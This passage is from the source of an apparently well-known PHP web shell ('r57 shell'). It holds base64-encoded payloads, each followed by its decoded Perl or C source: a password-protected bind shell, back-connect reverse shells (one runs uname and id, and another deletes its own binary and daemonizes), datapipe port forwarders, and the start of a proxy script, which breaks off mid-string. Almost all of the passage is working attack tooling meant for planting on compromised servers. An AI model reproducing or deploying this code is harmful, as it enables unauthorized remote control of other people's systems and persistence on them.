1512 char buf[30];
1513 struct sockaddr_in remote;
1514 if(fork() == 0) {
1515 remote.sin_family = AF_INET;
1516 remote.sin_port = htons(atoi(argv[1]));
1517 remote.sin_addr.s_addr = htonl(INADDR_ANY);
1518 sockfd = socket(AF_INET,SOCK_STREAM,0);
1519 if(!sockfd) perror("socket error");
1520 bind(sockfd, (struct sockaddr *)&remote, 0x10);
1521 listen(sockfd, 5);
1522 while(1)
1523 {
1524 newfd=accept(sockfd,0,0);
1525 dup2(newfd,0);
1526 dup2(newfd,1);
1527 dup2(newfd,2);
1528 write(newfd,"Password:",10);
1529 read(newfd,buf,sizeof(buf));
1530 if (!chpass(argv[2],buf))
1531 system("echo welcome to r57 shell && /bin/bash -i");
1532 else
1533 fprintf(stderr,"Sorry");
1534 close(newfd);
1535 }
1536 }
1537}
1538int chpass(char *base, char *entered) {
1539int i;
1540for(i=0;i<strlen(entered);i++)
1541{
1542if(entered[i] == '\n')
1543entered[i] = '\0';
1544if(entered[i] == '\r')
1545entered[i] = '\0';
1546}
1547if (!strcmp(base,entered))
1548return 0;
1549}
1550
1551*/
1552
1553$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
1554VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
1555JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
1556TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
1557lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
1558Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
1559Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
1560lIENPTk47DQpleGl0IDA7DQp9DQp9";
1561
1562/* ?ST SATIRIN KIRILMI? HAL? */
1563/*
1564
1565#!/usr/bin/perl
1566$SHELL="/bin/bash -i";
1567if (@ARGV < 1) { exit(1); }
1568$LISTEN_PORT=$ARGV[0];
1569use Socket;
1570$protocol=getprotobyname('tcp');
1571socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n";
1572setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
1573bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n";
1574listen(S,3) || die "Cant listen port\n";
1575while(1)
1576{
1577accept(CONN,S);
1578if(!($pid=fork))
1579{
1580die "Cannot fork" if (!defined $pid);
1581open STDIN,"<&CONN";
1582open STDOUT,">&CONN";
1583open STDERR,">&CONN";
1584exec $SHELL || die print CONN "Cant execute $SHELL\n";
1585close CONN;
1586exit 0;
1587}
1588}
1589
1590*/
1591
1592$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
1593aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
1594hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
1595sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
1596kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
1597KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
1598OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1599
1600/* ?ST SATIRIN KIRILMI? HAL? */
1601/*
1602
1603#!/usr/bin/perl
1604use Socket;
1605$cmd= "lynx";
1606$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
1607$0=$cmd;
1608$target=$ARGV[0];
1609$port=$ARGV[1];
1610$iaddr=inet_aton($target) || die("Error: $!\n");
1611$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
1612$proto=getprotobyname('tcp');
1613socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
1614connect(SOCKET, $paddr) || die("Error: $!\n");
1615open(STDIN, ">&SOCKET");
1616open(STDOUT, ">&SOCKET");
1617open(STDERR, ">&SOCKET");
1618system($system);
1619close(STDIN);
1620close(STDOUT);
1621close(STDERR);
1622
1623*/
1624
1625$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
1626BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
1627SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
1628KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
1629sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
1630Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
1631QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
1632Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1633
1634
1635/* ?ST SATIRIN KIRILMI? HAL? */
1636/*
1637
1638#include <stdio.h>
1639#include <sys/socket.h>
1640#include <netinet/in.h>
1641int main(int argc, char *argv[])
1642{
1643 int fd;
1644 struct sockaddr_in sin;
1645 char rms[21]="rm -f ";
1646 daemon(1,0);
1647 sin.sin_family = AF_INET;
1648 sin.sin_port = htons(atoi(argv[2]));
1649 sin.sin_addr.s_addr = inet_addr(argv[1]);
1650 bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
1651 fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
1652 if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
1653 perror("[-] connect()");
1654 exit(0);
1655 }
1656 strcat(rms, argv[0]);
1657 system(rms);
1658 dup2(fd, 0);
1659 dup2(fd, 1);
1660 dup2(fd, 2);
1661 execl("/bin/sh","sh -i", NULL);
1662 close(fd);
1663}
1664
1665*/
1666
1667
1668$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
1669x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
1670HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
1671aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
1672lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
1673xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
1674W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
1675LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
1676udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
16770KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
1678iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
1679KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
1680gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
1681hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
1682iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
1683ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
1684vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
1685AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
1686QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
1687ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
1688gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
1689wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
169029jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
1691MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
1692gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
16935zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
1694HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
1695dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
1696KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
1697ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
1698E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
1699Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
1700NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
1701J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
1702CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
1703dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
1704gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
1705lsZSk7DQogIHJldHVybiAwOw0KfQ==";
1706
1707/* ?ST SATIRIN KIRILMI? HAL? */
1708/*
1709
1710#include <sys/types.h>
1711#include <sys/socket.h>
1712#include <sys/wait.h>
1713#include <netinet/in.h>
1714#include <stdio.h>
1715#include <stdlib.h>
1716#include <errno.h>
1717#include <unistd.h>
1718#include <netdb.h>
1719#include <linux/time.h>
1720#ifdef STRERROR
1721extern char *sys_errlist[];
1722extern int sys_nerr;
1723char *undef = "Undefined error";
1724char *strerror(error)
1725int error;
1726{
1727if (error > sys_nerr)
1728return undef;
1729return sys_errlist[error];
1730}
1731#endif
1732
1733main(argc, argv)
1734 int argc;
1735 char **argv;
1736{
1737 int lsock, csock, osock;
1738 FILE *cfile;
1739 char buf[4096];
1740 struct sockaddr_in laddr, caddr, oaddr;
1741 int caddrlen = sizeof(caddr);
1742 fd_set fdsr, fdse;
1743 struct hostent *h;
1744 struct servent *s;
1745 int nbyt;
1746 unsigned long a;
1747 unsigned short oport;
1748
1749 if (argc != 4) {
1750 fprintf(stderr,"Usage: %s localport remoteport remotehost\n",argv[0]);
1751 return 30;
1752 }
1753 a = inet_addr(argv[3]);
1754 if (!(h = gethostbyname(argv[3])) &&
1755 !(h = gethostbyaddr(&a, 4, AF_INET))) {
1756 perror(argv[3]);
1757 return 25;
1758 }
1759 oport = atol(argv[2]);
1760 laddr.sin_port = htons((unsigned short)(atol(argv[1])));
1761 if ((lsock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
1762 perror("socket");
1763 return 20;
1764 }
1765 laddr.sin_family = htons(AF_INET);
1766 laddr.sin_addr.s_addr = htonl(0);
1767 if (bind(lsock, &laddr, sizeof(laddr))) {
1768 perror("bind");
1769 return 20;
1770 }
1771 if (listen(lsock, 1)) {
1772 perror("listen");
1773 return 20;
1774 }
1775 if ((nbyt = fork()) == -1) {
1776 perror("fork");
1777 return 20;
1778 }
1779 if (nbyt > 0)
1780 return 0;
1781 setsid();
1782 while ((csock = accept(lsock, &caddr, &caddrlen)) != -1) {
1783 cfile = fdopen(csock,"r+");
1784 if ((nbyt = fork()) == -1) {
1785 fprintf(cfile, "500 fork: %s\n", strerror(errno));
1786 shutdown(csock,2);
1787 fclose(cfile);
1788 continue;
1789 }
1790 if (nbyt == 0)
1791 goto gotsock;
1792 fclose(cfile);
1793 while (waitpid(-1, NULL, WNOHANG) > 0);
1794 }
1795 return 20;
1796
1797 gotsock:
1798 if ((osock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
1799 fprintf(cfile, "500 socket: %s\n", strerror(errno));
1800 goto quit1;
1801 }
1802 oaddr.sin_family = h->h_addrtype;
1803 oaddr.sin_port = htons(oport);
1804 memcpy(&oaddr.sin_addr, h->h_addr, h->h_length);
1805 if (connect(osock, &oaddr, sizeof(oaddr))) {
1806 fprintf(cfile, "500 connect: %s\n", strerror(errno));
1807 goto quit1;
1808 }
1809 while (1) {
1810 FD_ZERO(&fdsr);
1811 FD_ZERO(&fdse);
1812 FD_SET(csock,&fdsr);
1813 FD_SET(csock,&fdse);
1814 FD_SET(osock,&fdsr);
1815 FD_SET(osock,&fdse);
1816 if (select(20, &fdsr, NULL, &fdse, NULL) == -1) {
1817 fprintf(cfile, "500 select: %s\n", strerror(errno));
1818 goto quit2;
1819 }
1820 if (FD_ISSET(csock,&fdsr) || FD_ISSET(csock,&fdse)) {
1821 if ((nbyt = read(csock,buf,4096)) <= 0)
1822 goto quit2;
1823 if ((write(osock,buf,nbyt)) <= 0)
1824 goto quit2;
1825 } else if (FD_ISSET(osock,&fdsr) || FD_ISSET(osock,&fdse)) {
1826 if ((nbyt = read(osock,buf,4096)) <= 0)
1827 goto quit2;
1828 if ((write(csock,buf,nbyt)) <= 0)
1829 goto quit2;
1830 }
1831 }
1832
1833 quit2:
1834 shutdown(osock,2);
1835 close(osock);
1836 quit1:
1837 fflush(cfile);
1838 shutdown(csock,2);
1839 quit0:
1840 fclose(cfile);
1841 return 0;
1842}
1843
1844*/
1845
1846$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
1847CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
1848bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
1849gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
1850NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
1851iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
1852aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
1853SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
1854xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
1855WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
1856CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
1857yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
1858I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
1859m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
1860IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
1861lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
1862QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
1863CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
1864c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
1865NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
1866UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
1867DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
1868ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
18691ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
1870
1871/* ?ST SATIRIN KIRILMI? HAL? */
1872/*
1873
1874#!/usr/bin/perl
1875use IO::Socket;
1876use POSIX;
1877$localport = $ARGV[0];
1878$host = $ARGV[1];
1879$port = $ARGV[2];
1880$daemon=1;
1881$DIR = undef;
1882$| = 1;
1883if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
1884%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
1885$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
1886$SIG{'CHLD'} = 'IGNORE';
1887$num = 0;
1888while (1) {
1889$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
1890++$num;
1891$pid = fork();
1892if (!defined($pid)) { print STDERR "$!\n"; }
1893elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); }
1894else { $ch->close(); }
1895}
1896sub Run {
1897my($o, $ch, $num) = @_;
1898my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
1899if (!$th) { exit 0; }
1900my $fh;
1901if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
1902$ch->autoflush();
1903$th->autoflush();
1904while ($ch || $th) {
1905my $rin = "";
1906vec($rin, fileno($ch), 1) = 1 if $ch;
1907vec($rin, fileno($th), 1) = 1 if $th;
1908my($rout, $eout);
1909select($rout = $rin, undef, $eout = $rin, 120);
1910if (!$rout && !$eout) {}
1911my $cbuffer = "";
1912my $tbuffer = "";
1913if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
1914my $result = sysread($ch, $tbuffer, 1024);
1915if (!defined($result)) {
1916print STDERR "$!\n";
1917exit 0;
1918}
1919if ($result == 0) { exit 0; }
1920}
1921if ($th && (vec($eout, fileno($th), 1) || vec($rout, fileno($th), 1))) {
1922my $result = sysread($th, $cbuffer, 1024);
1923if (!defined($result)) { print STDERR "$!\n"; exit 0; }
1924if ($result == 0) {exit 0;}
1925}
1926if ($fh && $tbuffer) {(print $fh $tbuffer);}
1927while (my $len = length($tbuffer)) {
1928my $res = syswrite($th, $tbuffer, $len);
1929if ($res > 0) {$tbuffer = substr($tbuffer, $res);}
1930else {print STDERR "$!\n";}
1931}
1932while (my $len = length($cbuffer)) {
1933my $res = syswrite($ch, $cbuffer, $len);
1934if ($res > 0) {$cbuffer = substr($cbuffer, $res);}
1935else {print STDERR "$!\n";}
1936}}}
1937
1938
1939*/
1940
1941$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
1942luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
19430NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
1944UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
